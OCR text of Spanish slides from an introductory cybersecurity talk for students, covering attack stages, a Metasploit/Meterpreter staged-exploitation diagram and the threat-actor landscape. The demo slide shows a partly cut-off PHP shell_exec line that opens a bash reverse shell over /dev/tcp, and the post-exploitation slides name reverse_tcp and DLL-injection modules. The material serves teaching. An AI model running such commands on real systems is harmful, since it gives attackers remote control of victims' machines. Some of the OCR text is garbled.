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Contexto

Charla introductoria de 30 minutos.

® Sobre el paisaje de la ciberseguridad en Chile 2024.
® Destinada a alumnos académicos del DUOC.
® Presentada por un Pentester profesional de Dreamlab Technologies.
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No. Seccion Descripcion
1 Definicidbn | Que es la ciberseguridad?
2 Demo Como se hace un ataque?
3 Paisaje Quienes son los actores de la ciberseguridad?
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Que significa Ciber-Seguridad?

Raiz Definicién
Ciber Computador
Seguridad Pelea
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La Ciber (o computacion)

Desarrollo de Software
Administracion de Sistemas
Redes y Comunicaciones
Ciencia de Datos

Nube

6. Seguridad
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Paisaje

Para participar en el terreno Ciber, hay que saber ocupar un computador.
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La Seguridad
Fecha | Terreno | Ejemplo Lugar
-8000 | Tierra | masa, bastén Africa, China
-2200 | Mar botes de papiro Egipto
1911 Aire avion de hélice Francia
1957 | Espacio | satélite espia Rusia, USA
2010 | Ciber gusano informéatico | Iran
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El terreno ciber

N. Terreno Permite Como

1 Nuevo El llega primero reclama colonizacion

2 Barato un terreno donde todos pueden | agua
acceder.

3 Conectado Y se puede apuntar lejos telescopio

4 Rapido a la velocidad luz relampago

5 Anonimizado | sin que nadie sepa quien fue. invisibilidad

La ciberseguridad tiene el viento a favor.
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La ciberseguridad tiene el viento a favor.
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Un terreno asimétrico
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Un terreno asimétrico

Atacar y defender son dos profesiones distintas.
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Demostracion Paisaje Conclusion

La ciberdefensa

Hay que saber atacar para poder defender!

Por ejemplo, para buscar extraterrestres, meterse en el lugar de
extraterrestres que buscarian humanos. (tener una metodologia
pragmatica, tener humildad).

Otro ejemplo, para tapar 1000 hoyos de manera industrial, primero tapar
un hoyo de manera artesanal. (no hacer optimizacion prematura, ensuciar
SUS manos).
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El ciberataque

Buscar victimas (humanas).

Buscar superficie de exposicion de sus victimas.
Buscar vulnerabilidades en la superficie.

Explotar vulnerabilidades.

Mantener persistencia en los computadores infectados.
Robar dinero.

o0k W~
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La explotacion de vulnerabilidad

Un ciber-ataque se hace mediante la explotacion de una vulnerabilidad.

Una vulnerabilidad informéatica es lo que permite que un programa haga
algo que sus usuarios no habian contemplado.
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La busqueda de vulnerabilidad

Una vulnerabilidad informatica es lo que permite que un programa haga
algo que sus usuarios no habian contemplado.

1. Que hace el programa?

2. Como lo implementa?

3. Como lo implementaria yo para que sea seguro?
4. Lo implementa de mi forma? Sino, porque?
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Escenario: Bob y Mallory

Mallory Bob

E Attadker computer E Victim computer

Yy Y

AG A
W {72

Connect to the server Open socket recv connection
Send malicious packets Serve requested bytes to client
HTTP client HTTP Server
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Etapas del ataque

Reconocimiento (pasivo)
Escaneo (activo)

Intrusion (o explotacion)
Consolidacion (o persistencia)
Carga (o payload)

o s~ 0Dnp -
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Explotacion

E Attacker computer E Victim computer

M Metasploitrb @ Explorer.ene
Dropper (stage -1)
_ - User downloads pdf file
O/ Send pdf file pdf - User double clicks on pdf file

- AcroRd32 starts and load the file
- AcroRd32 parses the file + RCE => shellcode

1/ Exploit
RCE

Rd32.exe Shellcode (stage 0)
- Shellcode locates API functions
- Shellcode starts listening
- the meterp

“mm‘b\' 2/ Download stage

3/ Execute
Stage|

Meterpreter (stage 1)

- Meterpreter starts the TCP recy & execute

Y Download command| ‘meterpreter - Attacker sends the "migrate” command

5/ Migrate
Process
. Nottpad.exe Meterpreter (stage 2)
R —— - Meterpreter starts listening
6/ Download payload downloader - Attackers sends the "inject” command
U Tnject
Payload

Payload (stage 3)
- This is the end

Martin Tourneboeuf 19
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Post-explotacion: parte 1

E Attacker computer E Victim computer
m Metasploit.rb @ Explorer.exe

Dropper (stage -1)
- User downloads pdf file
O/ Send pdf file ot - User double clicks on pdf file
- AcroRd32 starts and load the file
- AcroRd32 parses the file + RCE => shellcode

1/ Exploit
RCE
n AcroRd32.exe Shellcode (stage 0)
use multihandier - Shellcode locates API functions
tPAYLOAD 2 Download stage shellcode - Shellcode starts listening
windowsmeterprteifreverse_tep ‘— - Attacker sends the meterpreter stage
3/ Execute
Stage
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Post-explotacion: parte 2

Meterpreter (stage 1)
- Meterpreter starts the TCP recv & execute
migrate -N Notepad exe: [/ Download command meterpreter - Attacker sends the "migrate” command
5/ Migrate
Process
Nottpad.exe Meterpreter (stage 2)
Juse windowsimanagesrefiective_dl_inject - Meterpreter starts listening
st PROCI 6/ Download payload downloads - Attackers sends the "inject” command

7/ Inject
Payload

Payload (stage 3)
- This is the end
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Demo (por fin

LOWER_UP> mtu 1500 qdisc fq_cod
[ Ver datos en Json

139/24 brd 10.5.5 cope global noprefixroute tun@
3 } global noprefixroute tuni Graph

1ft fo pre
5° link stable-priv
[ Visuaisar datos |

opriate ioctl for devi

Debug Console

Console input:
0>61"");

shell _exec("bash -c 'bash -i >&/dev/tcp,

"Santiago Metropolit
s el

"timezone

“readme ;VHH{H ssingau [EWW‘

var/w
Console output:
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Resultado

Mallory controla el computador de Bob.
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Humanos contra humanos

Sujeto Pre verbo Verbo

Yo no me quiero hackear.
Mi circulo de confianza probablemente no | me quiere hackear.
Los animales non humanos no me pueden hackear.
Los extraterrestres no me quieren hackear.
Todo los deméas (8G potencialmente me quieren hackear
humanos)
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Actores nacionales

Comparar con el mapa de los actores estatales en Francia.

Sector Ejemplo

Publico Gobierno, defensa, interior
Privado Bancos, telecom, servicio
Universitario Investigadores, practicantes
Independientes Freelancer, mafia, RASS

(estos actores también saben usar un computador para otra cosa que
pelear)
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Lecciones aprendidas

1. La ciberseguridad, o pelea con computadores, opone humanos.
2. Hay que saber atacar para poder defender en el terreno ciber.

3. Un ciber-ataque se realiza mediante la explotacion de una
vulnerabilidad.

4. La ciberseguridad tiene el viento a favor por décadas.
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Consejo

Como avanzar en el camino de la ciberdefensa?

Pensar como atacante.

Empezar la investigacion con el camino legitimo.
Avanzar hipotesis.

Celebrar las pequenas victorias.

No perder de vista su mision.

ok 0~
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Hacia donde avanzar en el camino de la ciberdefensa?

Busqueda de vulnerabilidades interpretadas.
Explotacion de vulnerabilidades binarias.
Desarrollo de malware.

Captura de malware.

Estudio de sistemas y flujos de trabajos.
Arquitectura segura.
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